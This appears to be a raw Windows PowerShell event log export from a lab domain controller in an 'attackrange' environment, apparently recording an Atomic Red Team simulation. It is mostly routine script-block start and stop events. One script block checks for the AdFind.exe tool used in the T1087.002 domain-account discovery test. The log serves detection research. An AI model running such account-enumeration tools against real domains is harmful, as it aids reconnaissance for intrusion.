Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478622
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.OriginInfo }
ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478620
Keywords=None
Message=Started invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478619
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }
ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478618
Keywords=None
Message=Completed invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478616
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478615
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478614
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478613
Keywords=None
Message=Started invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478612
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.PSMessageDetails }
ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478611
Keywords=None
Message=Started invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478610
Keywords=None
Message=Completed invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478609
Keywords=None
Message=Started invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478608
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478607
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478606
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478605
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478604
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478603
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478602
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478601
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478600
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478599
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478598
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478597
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478596
Keywords=None
Message=Completed invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478595
Keywords=None
Message=Started invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478594
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478593
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478858
Keywords=None
Message=Completed invocation of ScriptBlock ID: 923c064a-7e94-489b-ac4a-ce13e0c22e1e
Runspace ID: c66a8192-bebf-4b74-ad75-81d05079fd1c
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ce1298f-beaa-47d4-8ab1-cab65679afc8
Runspace ID: c66a8192-bebf-4b74-ad75-81d05079fd1c
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478856
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ab25c01-75dc-471e-b85b-32bf9e8a44e3
Runspace ID: c66a8192-bebf-4b74-ad75-81d05079fd1c
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478855
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ab25c01-75dc-471e-b85b-32bf9e8a44e3
Runspace ID: c66a8192-bebf-4b74-ad75-81d05079fd1c
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478854
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ce1298f-beaa-47d4-8ab1-cab65679afc8
Runspace ID: c66a8192-bebf-4b74-ad75-81d05079fd1c
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478853
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{if (Test-Path C:\AtomicRedTeam\atomics\T1087.002\src\AdFind.exe) {exit 0} else {exit 1}}
ScriptBlock ID: 1ce1298f-beaa-47d4-8ab1-cab65679afc8
Path:
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478852
Keywords=None
Message=Started invocation of ScriptBlock ID: 923c064a-7e94-489b-ac4a-ce13e0c22e1e
Runspace ID: c66a8192-bebf-4b74-ad75-81d05079fd1c
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478851
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {if (Test-Path C:\AtomicRedTeam\atomics\T1087.002\src\AdFind.exe) {exit 0} else {exit 1}}
ScriptBlock ID: 923c064a-7e94-489b-ac4a-ce13e0c22e1e
Path:
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1478850
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1478849
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 7256 in AppDomain: DefaultAppDomain.
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1478848
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478847
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478846
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478844
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478843
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478842
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478840
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478839
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478838
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478837
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478836
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478834
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478833
Keywords=None
